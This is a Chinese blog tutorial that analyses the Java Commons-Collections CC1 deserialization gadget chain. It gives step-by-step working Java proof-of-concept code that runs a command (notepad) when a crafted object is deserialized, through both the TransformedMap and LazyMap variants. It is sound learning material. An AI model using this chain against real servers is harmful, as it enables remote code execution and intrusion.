主頁 >  其他 > Java CC1鏈分析

Java CC1鏈分析

2021-12-18 07:46:23 其他

目錄

  • 前言
  • commons-collections（CC）
  • 構造利用鏈
    • 第一步 InvokerTransformer
    • 第二步 ChainedTransformer
    • 第三步 ConstantTransformer
    • 第四步 服務端生成Runtime實體
    • 上Map
    • 第五步 TransformedMap
      • 第六步 AnnotationInvocationHandler的readObject復寫點
    • 第五步 Lazymap
      • 第六步 動態代理
  • 總結

前言

可能之前看Java CC1鏈的文章留下了有陰影把，有TransformedMap玩法，還有Lazymap玩法，最侄訓得借助AnnotationInvocationHandler或這動態代理，看著就頭大，所以拖了一段時間，沒辦法，最侄訓是來了，洞一直在更新，我不加快節奏干洞，洞要給我說再見，這就很難受，不鬧了，這篇文章主要是CC1鏈和那兩種玩法

commons-collections（CC）

首先，還是先說下這個CC把，我感覺我就和Lazymap差不多，找不到圖了在敲字

功能：為Java標準的Collections API提供了相當好的補充，在此基礎上對其常用的資料結構操作進行了很好的封裝、抽象和補充，保證性能的同時大大簡化代碼，

此包的類包含下面兩個
在這里插入圖片描述
在這里插入圖片描述
重要的就這兩個類Map、Transformer把，我感覺

下來包的問題，直接上maven倉庫拉就好了
在這里插入圖片描述

最重要的一點：CC包版本3.1-3.2.1，別看3.0和3.1，差個0.1，最終可能彈不出記事本，我這次用的是3.1

構造利用鏈

建議使用jdk7，8可能會出錯

第一步 InvokerTransformer

反射機制觸發函式InvokerTransformer類的transform(Object input)

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName; //函式名
        this.iParamTypes = paramTypes; //函式引數的型別
        this.iArgs = args;             //引數物件
}
public Object transform(Object input) {
	Class cls = input.getClass();     //獲取input的類
	Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //呼叫方法
	return method.invoke(input, this.iArgs);						  //執行
}

在這里插入圖片描述
通過之前的文章Java反序列化之反射機制（https://blog.csdn.net/xd_2021/article/details/121777766），我們可以構造一個命令執行

public static void main(String[] args) throws Exception {
        //payload
        InvokerTransformer x = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"notepad"});

        //服務端
        Object d = Class.forName("java.lang.Runtime")
                .getMethod("getRuntime")
                .invoke(Class.forName("java.lang.Runtime"));
        x.transform(d);
    }

在這里插入圖片描述
但是，這似乎不太現實，服務端給咱專門來個
Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))
還得接著優化

第二步 ChainedTransformer

接下來我們看這個類ChainedTransformer的transform函式

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
}

由此函式可知，輸入的物件會給第一個轉化器，轉換結果會被輸入到第二個轉換器，以此類推

在看ChainedTransformer類的建構式，發現iTransformers陣列是用戶自己定義的

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

接下來我們構造一下，也是運行了

public static void main(String[] args) throws Exception {
        //payload
        Transformer[] x = new Transformer[]{
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);

        //服務端
        Object a = Class.forName("java.lang.Runtime")
                .getMethod("getRuntime")
                .invoke(Class.forName("java.lang.Runtime"));
        d.transform(a);
    }

在這里插入圖片描述
看似和第一步沒什么區別，其實是為后面做鋪墊

第三步 ConstantTransformer

ConstantTransformer類跟InvokkerTransformer一樣繼承Transforme父類，可以進入陣列，主要看該類的下面兩個函式

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
}
 public Object transform(Object input) {
        return this.iConstant;
}

在此對其修改，由于Runtime.getRuntime()實體已經放進payload里面，transform函式有無引數都不重要，因為ConstantTransformer類的transform函式會返會iConstant值，也就是最開始我們建構式設定好的

public static void main(String[] args) throws Exception {
        //payload
        Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);

        //payload序列化寫入檔案，當作網路傳輸
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(d);

        //服務端反序列化payload讀取
        FileInputStream f1 = new FileInputStream("payload.bin");
        ObjectInputStream f2 = new ObjectInputStream(f1);

        Transformer a = (ChainedTransformer) f2.readObject();

        d.transform(null);
}

這次之所以這樣寫，是因為前面的序列化和不序列化結果都一樣，這次如果不序列化，看不出問題
在這里插入圖片描述

果然報錯，Runtime類的定義沒有繼承Serializable類，是不支持反序列化的，請注意

第四步 服務端生成Runtime實體

Runtime的實體是通過Runtime.getRuntime()來獲取的，而InvokerTransformer里面的反射機制可以執行任意函式，我們讓其執行getRuntime讓其成為實體
當把陣列修改成如下

Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };

結果報錯了，跟蹤一下
在這里插入圖片描述
由于是類緣故，所以input.getClass獲取的是java.lang.Class
在這里插入圖片描述
調整一下，套波娃，借用getMethod方法執行getRuntime

Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
         };

跟蹤到x[1]進去transform函式，發現獲取的類還不是Runtime實體
在這里插入圖片描述
在對其調整，套娃在套娃

Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };

于是乎成功了
在這里插入圖片描述
其實是等同于反射陳述句

 public static void main(String[] args) throws Exception {
        //x[0],object=""
        Class s = Class.forName("java.lang.Class");
        //x[1],object="java.lang.Runtime"
        Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);
        System.out.println(o + "\n\n");
        //x[2],object="java.lang.Runtime.getRuntime()"
        s = o.getClass();
        o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);
        System.out.println(s + "\n" + o + "\n\n");
        //x[3],object=
        Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
        System.out.println(o1);
}

在這里插入圖片描述
可以看出，O和O1結果是一樣的，但是服務端應該也不會執行

Transformer a = (ChainedTransformer) f2.readObject();
d.transform(null);

這欸，還得繼續優化

上Map

這里有兩種map都可以實作，一種是TransformedMap，另一種Lazymap，ysoserial用的是第二種，下面我會分別聊這兩種實作方法

第五步 TransformedMap

首先，先看下TransformedMap類發現，當該類在呼叫put函式時，會執行transform函式，最后的執行結果會被添加到map里

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

于是乎，我就嘗試了下

interface Test extends Transformer {
    public Object transform(Object input);
}

class Test1 implements Test, Transformer {
    public Object transform(Object input) {
        return "x";
    }
}

class Test2 implements Test {
    public Object transform(Object input) {
        return "d";
    }
}

public class cc1 {
    public static void main(String[] args) throws Exception {
        Map innerMap = new HashMap();
        System.out.println(innerMap);
        Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());
        map.put("value", "value");
        System.out.println(map);
    }
}

結果也是和我想象一樣，map輸出為{x=d}
在這里插入圖片描述
借助這個類我們修改一下，在嘗試一次

public class cc1 {
    public static void main(String[] args) throws Exception {
        //payload
        Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);
        Map map = new HashMap();
        map.put("value", "value");
        Map map1 = TransformedMap.decorate(map, null, d);
        
        //payload序列化寫入檔案，當作網路傳輸
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(map1);

        //服務端反序列化payload讀取
        FileInputStream f1 = new FileInputStream("payload.bin");
        ObjectInputStream f2 = new ObjectInputStream(f1);

        Map map2 = (Map) f2.readObject();
        map2.put("value", "1");


    }
}

在這里插入圖片描述
這就很奈斯，服務端執行map應該問題不大，put也很合理，但是我們是一個追求完美的人，讓它只執行一個readObject就彈

第六步 AnnotationInvocationHandler的readObject復寫點

看看AnnotationInvocationHandler類下的readObject函式，發現在里面有賦值操作var5.setValue，不管它值是什么總之只要賦值就能執行我們的命令

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
   var1.defaultReadObject();
   AnnotationType var2 = null;

   try {
       var2 = AnnotationType.getInstance(this.type);
   } catch (IllegalArgumentException var9) {
       throw new InvalidObjectException("Non-annotation type in annotation serial stream");
   }

   Map var3 = var2.memberTypes();
   Iterator var4 = this.memberValues.entrySet().iterator();

   while(var4.hasNext()) {
       Entry var5 = (Entry)var4.next();
       String var6 = (String)var5.getKey();
       Class var7 = (Class)var3.get(var6);
       if (var7 != null) {
           Object var8 = var5.getValue();
           if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
               var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
           }
       }
   }

}

順勢改下代碼，
由于AnnotationInvocationHandler類的建構式的第一個引數繼承Annotation，所以第一個變數可以在改包底選一個，即可

public class cc1 {
    public static void main(String[] args) throws Exception {
        //payload
        Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);
        Map map = new HashMap();
        map.put("key", "key");
        Map map1 = TransformedMap.decorate(map, null, d);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
        ct.setAccessible(true);
        Object o = ct.newInstance(Documented.class, map1);
        //payload序列化寫入檔案，當作網路傳輸
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(o);

        //服務端反序列化payload讀取
        FileInputStream f1 = new FileInputStream("payload.bin");
        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();


    }
}

發現var3里面有一組map資料，會把用戶輸入的map資料的每一組key值在其var3在尋找有無key值有則不為空，進入判斷則可執行
在這里插入圖片描述
我感覺可能是因為這點，所以ysoserial沒采用這種

第五步 Lazymap

看看Lazymap類，發現其get函式在獲取key所對應的資料時，如果當key不存在，則呼叫transform函式，并把執行結果作為該key所對應的資料，并添加到到map里面

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = FactoryTransformer.getInstance(factory);
    }
}
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

用這個map改的話，就這樣

public class cc1 {
    public static void main(String[] args) throws Exception {

        //payload
        Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);
        Map map = new HashMap();
        Map map1 = LazyMap.decorate(map, d);
        map1.get("key");
    }
}

在這里插入圖片描述
還是不完美

第六步 動態代理

我們看一段代碼，運行發現，程式執行了invoke方法

class expHandler implements InvocationHandler {
    protected Map map;

    public expHandler(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("put") == 0) {
            System.out.println("Hook Method: " + method.getName());
            map.put("hi", "xd");
        }
        return method.invoke(this.map, args);
    }
}

public class cc1 {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new expHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("hi", "sir");
        System.out.println(proxyMap);
}

發現輸出的結果是先去執行invoke，當匹配不到，則按正常執行

AnnotationInvocationHandler類其實和InvocationHandler差不多里都有invoke，AnnotationInvocationHandler類下的invoke里面使用的get函式，所以從這塊切入

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
        case -1776922004:
            if (var4.equals("toString")) {
                var7 = 0;
            }
            break;
        case 147696667:
            if (var4.equals("hashCode")) {
                var7 = 1;
            }
            break;
        case 1444986633:
            if (var4.equals("annotationType")) {
                var7 = 2;
            }
        }

        switch(var7) {
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

通過這些，我們修改代碼

public class cc1 {
    public static void main(String[] args) throws Exception {
        //payload
        Transformer[] x = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
        };
        Transformer d = new ChainedTransformer(x);
        Map map = new HashMap();
        Map map1 = LazyMap.decorate(map, d);
        
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
        ct.setAccessible(true);
        
        InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = ct.newInstance(Target.class, proxyMap);  //這樣寫也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);

        //payload序列化寫入檔案，當作網路傳輸
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(o);  //如果用的后面那種，則把o換成handler

        //服務端反序列化payload讀取
        FileInputStream f1 = new FileInputStream("payload.bin");
        ObjectInputStream f2 = new ObjectInputStream(f1);

        f2.readObject();

    }
}

在這里插入圖片描述

總結

最終，也是都成功了，相對來說TransformedMap需要設定特定值，但是在最后一步的時候好理解，Lazymap前面不需要什么，就是在后面動態代理時候，有點想不通

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/384146.html

標籤：其他

上一篇：Elasticsearch Log4j漏洞快速修復步驟

下一篇：[ 滲透入門篇 ] 滲透行業必備術語大集合(八)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C＃(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章，不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》，我也是第一時間得知了這個訊息，然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本： 個人認為這件事也沒什么，還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹：metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包，它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一，它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip：192.168.20.121 靶機ip：192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k，軟體測驗工程師的漲薪史，給我看哭了

    清明節一過，盲猜大家已經無心上班，在數著日子準備過五一，但一想到銀行卡里的余額……瞬間心情就不美麗了。最近，2023年高校畢業生就業調查顯示，本科畢業月平均起薪為5825元。調查一出，便有很多同學表示自己又被平均了。看著這一資料，不免讓人想到前不久中國青年報的一項調查：近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文，所以對學習母語的我們非常不友好 使用網址：https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜，前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜，自動化測驗的需求也越來越高。如今，自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分，它們可以幫助開發人員更快地發現和修復錯誤，提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐：4個DVPP記憶體問題的典型案例解讀

    摘要：由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求（例如，記憶體首地址128位元組對齊），因此需呼叫專用的記憶體申請介面，那么本期就分享幾個關于DVPP記憶體問題的典型案例，并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》，作者：昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊，輔助滲透（埠掃描、登錄密碼爆破、漏洞驗證等） 2、encoders 編碼器模塊，主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手：與相機連接，設定相機引數，采集影像 2) 標定助手：九點標定或是其它的標定，生成標定檔案及內參外參，可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客，先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp)，這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接： https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more

Copyright © 2010-2020 有解無憂